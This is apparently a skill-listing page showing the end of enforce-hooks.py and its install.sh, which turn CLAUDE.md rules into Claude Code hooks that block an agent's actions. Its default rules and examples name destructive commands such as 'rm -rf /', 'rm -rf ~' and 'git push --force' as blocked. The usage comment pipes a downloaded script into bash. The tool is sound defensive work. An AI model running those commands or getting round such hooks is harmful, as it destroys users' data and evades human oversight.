  4475. filename = hook_filename(d, i, seen_names)
  4476. print(f"# === {filename} ===")
  4477. print(script)
  4478. return
  4479. if args.evaluate:
  4480. run_evaluate(path)
  4481. return
  4482. if args.install_plugin:
  4483. enforceable, _ = scan_file(path)
  4484. if not enforceable:
  4485. suggestions = scan_suggestions(path)
  4486. if suggestions:
  4487. print(f"No @enforced directives found, but {len(suggestions)} rule(s) could be enforced:\n")
  4488. print(f"{'#':>3} {'Type':<20} {'What it would block':<40} {'Source line'}")
  4489. print(f"{'---':>3} {'----':<20} {'---':<40} {'---'}")
  4490. for i, d in enumerate(suggestions, 1):
  4491. print(f"{i:>3} {d.hook_type:<20} {d.description:<40} L{d.line_num}")
  4492. print("\nTo activate, add @enforced to each rule in your CLAUDE.md:")
  4493. print(" - Never modify .env files @enforced")
  4494. print("\nOr tag an entire section:")
  4495. print(" ## Safety @enforced")
  4496. print(" - Never modify .env files")
  4497. print(" - Never run `rm -rf` commands")
  4498. print("\nThen re-run:")
  4499. print(" python3 enforce-hooks.py --install-plugin")
  4500. else:
  4501. print("No enforceable directives found in your CLAUDE.md.")
  4502. print("enforce-hooks detects rules like:")
  4503. print(" - Never modify .env files @enforced (file protection)")
  4504. print(" - Do not run `rm -rf` @enforced (command blocking)")
  4505. print(" - Don't commit to main @enforced (branch protection)")
  4506. return
  4507. print(f"Found {len(enforceable)} enforceable directive(s) in {path}")
  4508. # Derive hooks/settings paths from CLAUDE.md location when defaults are used
  4509. hooks_dir = args.hooks_dir
  4510. settings = args.settings
  4511. if hooks_dir == '.claude/hooks' and path != 'CLAUDE.md':
  4512. project_root = str(Path(path).resolve().parent)
  4513. hooks_dir = os.path.join(project_root, '.claude', 'hooks')
  4514. settings = os.path.join(project_root, '.claude', 'settings.json')
  4515. written = install_plugin(path, hooks_dir, settings)
  4516. print(f"\nInstalled plugin mode ({len(written)} files):")
  4517. for w in written:
  4518. print(f" {w}")
  4519. print(f"\nUpdated: {settings}")
  4520. print("\nHow it works:")
  4521. print(" - One hook runs on every tool call")
  4522. print(" - Reads your CLAUDE.md, enforces rules dynamically")
  4523. print(" - Change CLAUDE.md and rules update automatically")
  4524. print("\nTo verify, try triggering a blocked action in Claude Code.")
  4525. return
  4526. if args.install:
  4527. if not enforceable:
  4528. suggestions = scan_suggestions(path)
  4529. if suggestions:
  4530. print(f"No @enforced directives found, but {len(suggestions)} rule(s) could be enforced.\n")
  4531. print("Add @enforced to activate enforcement:")
  4532. print(" - Never modify .env files @enforced\n")
  4533. print("Then re-run: python3 enforce-hooks.py --install")
  4534. else:
  4535. print("No enforceable directives found. Nothing to install.")
  4536. return
  4537. print(f"Installing {len(enforceable)} hook(s) to {args.hooks_dir}/...")
  4538. written = install_hooks(enforceable, args.hooks_dir, args.settings)
  4539. print(f"\nWrote {len(written)} hook script(s):")
  4540. for w in written:
  4541. print(f" {w}")
  4542. print(f"\nUpdated: {args.settings}")
  4543. print("\nTo verify, try triggering a blocked action in Claude Code.")
  4544. if __name__ == '__main__':
  4545. main()
tools/enforce/install.sh · Bundled script · 123 lines · 2 findings marked
  1. #!/usr/bin/env bash
  2. # Install enforce-hooks: turn CLAUDE.md rules into PreToolUse hooks.
  3. #
  4. # Usage:
  5. # curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 5 on GitHub
  6. #
  7. # What it does:
  8. # 1. Downloads enforce-hooks.py
  9. # 2. Runs --install-plugin to set up a dynamic PreToolUse hook
  10. # 3. On every tool call, it reads your CLAUDE.md and blocks violations
  11. # 4. Change CLAUDE.md and enforcement updates automatically
  12. set -euo pipefail
  13. REPO_RAW="https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce"
  14. # Check we're in a project root (has CLAUDE.md or .claude/ or .git/)
  15. CREATED_CLAUDE_MD=false
  16. if [ ! -f "CLAUDE.md" ] && [ ! -d ".claude" ]; then
  17. if [ ! -d ".git" ]; then
  18. echo "No CLAUDE.md, .claude/, or .git/ found in current directory."
  19. echo "Run this from your project root."
  20. exit 1
  21. fi
  22. # Create a CLAUDE.md with sensible safety defaults
  23. cat > CLAUDE.md << 'RULES'
  24. ## Safety @enforced
  25. - Never modify .env files
  26. - Do not use `git push --force`
  27. - Never run `rm -rf /` or `rm -rf ~` or `rm -rf .`
    • Dismissed after review: Runs `rm -rf` against a root or home-directory path
    • Line 31 on GitHub
  28. - Do not commit directly to main
  29. ## Guidelines @enforced(warn)
  30. - Always run tests before committing
  31. - Read the relevant test file before editing source code
  32. RULES
  33. CREATED_CLAUDE_MD=true
  34. echo "Created CLAUDE.md with safety defaults."
  35. fi
  36. echo "Installing enforce-hooks..."
  37. # Check python3
  38. if ! command -v python3 >/dev/null 2>&1; then
  39. echo "Error: python3 not found. Install Python 3.6+ and try again." >&2
  40. exit 1
  41. fi
  42. DL="curl -fsSL"
  43. command -v curl >/dev/null 2>&1 || DL="wget -q -O -"
  44. # Download enforce-hooks.py
  45. TMPFILE="${TMPDIR:-/tmp}/enforce-hooks-installer.py"
  46. if ! $DL "$REPO_RAW/enforce-hooks.py" > "$TMPFILE" 2>/dev/null; then
  47. echo "Error: download failed. Check your internet connection." >&2
  48. rm -f "$TMPFILE"
  49. exit 1
  50. fi
  51. # Verify download is not empty
  52. if [ ! -s "$TMPFILE" ]; then
  53. echo "Error: downloaded file is empty. URL may have changed." >&2
  54. rm -f "$TMPFILE"
  55. exit 1
  56. fi
  57. # Install
  58. if ! python3 "$TMPFILE" --install-plugin; then
  59. echo "Error: installation failed. Try downloading enforce-hooks.py manually." >&2
  60. rm -f "$TMPFILE"
  61. exit 1
  62. fi
  63. rm -f "$TMPFILE"
  64. echo ""
  65. echo "Done. enforce-hooks is active for this project."
  66. # Show what rules were detected
  67. ENFORCE_PY=".claude/hooks/enforce-hooks.py"
  68. if [ -f "$ENFORCE_PY" ] && [ -f "CLAUDE.md" ]; then
  69. COUNT=$(python3 "$ENFORCE_PY" --scan --json 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(len(d.get('enforceable',[])))" 2>/dev/null || echo "0")
  70. if [ "$COUNT" -gt 0 ]; then
  71. echo ""
  72. echo "Enforcing $COUNT rule(s) from your CLAUDE.md:"
  73. python3 "$ENFORCE_PY" --scan --json 2>/dev/null | python3 -c "
  74. import sys, json
  75. d = json.load(sys.stdin)
  76. for r in d.get('enforceable', [])[:8]:
  77. print(f' [{r[\"hook_type\"]}] {r[\"description\"]}')
  78. if len(d.get('enforceable', [])) > 8:
  79. print(f' ... and {len(d[\"enforceable\"]) - 8} more')
  80. " 2>/dev/null || true
  81. else
  82. echo ""
  83. echo "No @enforced rules found yet. Add some to your CLAUDE.md:"
  84. echo ""
  85. echo " ## Safety @enforced"
  86. echo " - Never modify .env files"
  87. echo " - Do not use git push --force"
  88. echo " - Always run tests before committing"
  89. fi
  90. # Install armor (self-protection) automatically
  91. echo ""
  92. if python3 "$ENFORCE_PY" --armor 2>/dev/null; then
  93. echo ""
  94. echo "Armor installed: hooks are protected from deletion."
  95. fi
  96. echo ""
  97. if [ "$CREATED_CLAUDE_MD" = true ]; then
  98. echo "A default CLAUDE.md was created. Edit it to match your project:"
  99. echo " - Add file paths you want protected"
  100. echo " - Add commands you want blocked"
  101. echo " - Add @enforced to rules you want hard-blocked"
  102. echo " - Use @enforced(warn) for rules that should warn but not block"
  103. echo ""
  104. fi
  105. echo "Verify:"
  106. echo " python3 .claude/hooks/enforce-hooks.py --smoke-test # test hooks work"
  107. echo " python3 .claude/hooks/enforce-hooks.py --audit # check coverage"
  108. fi

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.